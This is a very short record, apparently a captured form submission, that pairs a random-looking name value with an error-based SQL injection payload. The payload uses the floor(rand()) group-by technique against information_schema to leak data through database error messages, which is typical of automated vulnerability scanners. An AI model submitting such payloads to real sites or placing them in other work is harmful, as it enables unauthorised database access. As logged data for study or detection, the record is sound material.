姓名：lxbfYeaa
"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(67),CHAR(76),CHAR(90),CHAR(89),CHAR(65),CHAR(83),CHAR(77),CHAR(72)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"
